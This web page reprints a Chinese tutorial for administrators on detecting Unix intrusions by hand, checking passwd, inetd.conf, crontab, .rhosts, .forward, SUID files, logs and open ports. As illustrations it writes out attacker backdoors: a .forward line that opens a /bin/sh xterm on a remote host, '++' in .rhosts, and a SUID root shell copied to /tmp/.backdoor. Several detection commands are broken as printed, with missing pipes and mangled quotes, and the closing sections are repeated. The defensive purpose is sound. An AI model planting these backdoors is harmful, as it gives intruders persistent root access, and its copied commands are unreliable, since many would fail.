歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> Unix常用手工入侵檢測方法與命令

Unix常用手工入侵檢測方法與命令

日期:2017/2/27 9:40:30   编辑:更多Linux


  一個好的網管員不但要管理好網絡,能及時排除各種故障,還要注意網絡安全,提防黑客入侵。所以熟悉常用手工入侵檢測的方法和命令也應該是網管員們的基本技能之一。本文介紹的是一些Unix下常用手工入侵檢測方法與命令,網管員們掌握了它不但可以迅速判斷出一些簡單的黑客入侵,還可以加深對入侵檢測的了解,從而能更好地使用一些入侵檢測和審計工具。
  
  檢查/etc/passwd文件中是否有可疑用戶
  
  Unix中/etc/passwd文件是存儲系統用戶口令等重要信息的文件,黑客入侵系統後往往會使用在passwd文件中增加特權用戶的方法為自己留個後門。所以我們要經常查看,如果您的系統用戶較少,您可以采用直接查看passwd文件的方法,命令如下:
  
  $ cat /etc/passwd
  
  如果您的系統有成百上千個用戶,那直接查看就不行了,不過我們只要檢測其中是否有UID為0的特權用戶就行了,這時可以使用以下命令來實現:
  
  $ awk -F:‘$3= = 0{print $1}’/etc/passwd
  
  如果您還想看看是否有空口令用戶,那可以用如下命令:
  
  $ awk -F:‘length($2)= = 0 {print $1}’/etc/shadow
  
  當然網管員不可能每天都去查看passwd文件,我們可以編寫一個如下的腳本程序,並將其放入/etc/cron.daily文件中,讓它每天檢測passwd文件中的所有UID和GID為0的用戶,然後把清單寄給root,這樣網管員只要每天收看一下信件就行了。具體腳本如下:
  
  $ grep‘0:0’/etc/passwd awk‘BEGIN {FS=“:”} \ {print $1}’ mail -s “‘date +”%d%f“‘”root
  
  檢查/etc/inet.conf和crontab文件是否被修改
  
  Inet.conf是系統守護進程的配置文件,裡面的服務會隨系統的啟動而啟動,如系統開放了Telent服務,inet.conf文件中就會有這樣一個語句:
  
  telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
  
  從左到右依次表示的是:服務名稱、套接口類型、協議類型、運行動作、進程所屬用戶、守護進程路徑名、守護進程名字及參數。黑客會通過替換或增加其中的服務來運行他的後門,網管員應該對 /etc/inetd.conf 中的內容比較熟悉,然後用如下命令列出其中的所有服務:
  
  $ ls -l /etc/inetd.conf
  
  再一一查看是否有可疑服務、服務名與其對應的程序是否一致。
  
  同樣/etc/crontab文件是Cron 服務的配置文件,Cron用於計劃程序在特定時間運行的服務, 系統的crontab文件在/etc/中,root用戶的 crontab 文件在 /var/spool/crontab/root 中,其具體格式如下:
  
  0 0 * * 3 /usr/bin/backdoor
  
  從左到右依次表示的是:分鐘、小時、日、月、星期、所要運行的程序。像上面這個例子就是用戶在每天的午夜零點運行backdoor程序,而這個backdoor程序如果是黑客程序呢!明白了吧,所以網管員也要經常用cat命令查看其crontab文件,看是否有黑客混入。
  
  檢查.rhosts、/etc/hosts.equiv、.forward文件是否被修改
  
  這幾個文件是常被黑客利用來安裝後門的文件。如果您的系統開了像Rlogin、Rsh、Rexec等R類服務,那您必須檢查.rhosts 、/etc/hosts.equiv這兩個文件了,因為像Rsh和Rlogin這樣的服務是基於rhosts文件裡的主機名使用簡單的認證方法,黑客只要向可以訪問的某用戶的rhosts文件中輸入“++”,那就允許任何人從任何地方無須口令使用這個賬號從513端口的Rlogin服務登錄您的機子,而且像Rsh服務缺少日志能力,更加不容易被發現,.hosts.equiv文件也類似。管理員們可以用如下命令檢查這兩個文件:
  
  $ find / -name“rhosts”-print  grep‘++’
  cat /etc/hosts.equiv
  
  不過實際上黑客只要將.rhosts文件設置成允許來自網上的某一個賬號的主機名和用戶名登錄就行,所以管理員們最好能借助審計工具更仔細檢查這些文件。
  
  還有一個.forward文件。在.forward文件裡放入命令是Unix中黑客重新獲得訪問的常用方法。像用戶username的.forward文件的home 文件夾中,黑客會把 .forward設置如下:
  
  \username “/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh”
  
  這種方法的變形包括改變系統的mail的別名文件、從.forward中運行簡單腳本實現在標准輸入執行等。所以網管員們也要經常檢查.forward文件



  
  檢查是否有危險的Root Suid程序
  
  Root Suid程序更是黑客在Unix系統留後門的一種常見方法,黑客通過種種方法取得了root權限後,他便會拷貝一份root shell,並將它設置Suid(set uid)位,然後保存在隱蔽的文件夾中:
  
  #cp /bin/sh /tmp/.backdoor
  #chmod u+s /tmp/.backdoor
  
  下次黑客以一般用戶登錄後,只要運行這個.backdoor就又能獲得root 權限了。要發現它比較簡單,網管員們可以用以下命令:
  
  # find / -type f (-perm -4000 -o -perm -2000 ) -print
  
  檢查系統日志
  
  Unix的日志可以說是比較健全的,它記錄了用戶登錄、操作及系統事件等等許多東西。Unix系統日志文件通常是存放在/var/log和/var/adm目錄下,但每個Unix版本不同存放日志的具體地方可能不同,大家可以通過查看/etc/syslog.conf知道日志配置的具體情況。具體的日志文件有lastlog、utmp、wtmp、syslog 、sulog等,它們記錄的分別是不同的事件,通過查看這些日志可以獲得一些黑客入侵的“蛛絲馬跡”,當然前提是日志沒有被黑客動過手腳。
  
  如像lastlog記錄的是所有用戶的最近登錄時間和訪問時的網絡地址,我們想查看最近30次登錄的用戶和他們的地址,可以用如下命令:
  
  last -30
  
  utmp則記錄的是當前登錄到系統的用戶信息,我們可以用who命令來查看。wtmp記錄的是記錄歷史的login和lognout信息,可以用last命令訪問。而syslog記錄的是各種程序產生的日志,sulog記錄的是用戶用su命令轉變為另一用戶的信息。
  
  檢查是否有可疑進程
  
  百分之九十的後門和木馬都是以進程形式存在的,所以查看是否有可疑進程很重要,這就要求網管員對各個進程非常熟悉才行。當然重點是查看Unix系統的inetd守護進程,原因我們前面說了因為inetd守護進程的程序隨系統啟動而啟動,所以黑客後門程序通常加在inet.conf中。可以用以下命令查看其進程:
  
  # ps -aef grep inetd
  
  當然inetd很多,如何能看出可疑進程呢?首先正常的inetd的pid比較靠前,其次Unix系統中沒有用inetd去啟動某個文件的情況,如果用ps命令看到了類似於inetd -s /tmp/.backdoor的啟動進程時就要注意了!如果不是網管員自己加的,那就說明有人已經侵入您的系統了。
  
  檢查網絡連接和開放端口
  
  黑客所留的後門中有一些會開啟系統新的端口進行監聽,等待黑客連接。最簡單常見的就是將一個加密root shell綁定在高位端口上。所以網管員們應該經常查看網絡連接狀態,看看是否有可疑連接和可疑端口,此類常用命令如下:
  
  查看網卡設置:
  
  # ifconfig -a
  
  查看本機的路由、網關設置情況:
  
  # netstat -m
  
  查看本機所有的網絡連接:
  
  # netstat -an
  
  查看本機所有開放的端口:
  
  # netstat -an grep listen
  
  以上介紹的是一些簡單的入侵檢測原理和方法,正如我們看到的,手工入侵檢測相當煩瑣,很難進行深層次的檢測,而且這些檢測大多基於系統命令,如果系統文件已經被黑客替換的話,就不可能進行准確的檢測,要正確有效地進行入侵檢測和審計需要借助於一些入侵分析工具。本文介紹這些方法的目的也不是為了提倡大家手工檢測入侵、排斥入侵審計工具,而是讓大家對入侵檢測原理有個最基本的了解、使網管員們能更正確有效地使用入侵分析工具。



  
  # ps -aef grep inetd
  
  當然inetd很多,如何能看出可疑進程呢?首先正常的inetd的pid比較靠前,其次Unix系統中沒有用inetd去啟動某個文件的情況,如果用ps命令看到了類似於inetd -s /tmp/.backdoor的啟動進程時就要注意了!如果不是網管員自己加的,那就說明有人已經侵入您的系統了。
  
  檢查網絡連接和開放端口
  
  黑客所留的後門中有一些會開啟系統新的端口進行監聽,等待黑客連接。最簡單常見的就是將一個加密root shell綁定在高位端口上。所以網管員們應該經常查看網絡連接狀態,看看是否有可疑連接和可疑端口,此類常用命令如下:
  
  查看網卡設置:
  
  # ifconfig -a
  
  查看本機的路由、網關設置情況:
  
  # netstat -m
  
  查看本機所有的網絡連接:
  
  # netstat -an
  
  查看本機所有開放的端口:
  
  # netstat -an grep listen
  
  以上介紹的是一些簡單的入侵檢測原理和方法,正如我們看到的,手工入侵檢測相當煩瑣,很難進行深層次的檢測,而且這些檢測大多基於系統命令,如果系統文件已經被黑客替換的話,就不可能進行准確的檢測,要正確有效地進行入侵檢測和審計需要借助於一些入侵分析工具。本文介紹這些方法的目的也不是為了提倡大家手工檢測入侵、排斥入侵審計工具,而是讓大家對入侵檢測原理有個最基本的了解、使網管員們能更正確有效地使用入侵分析工具。



Copyright © Linux教程網 All Rights Reserved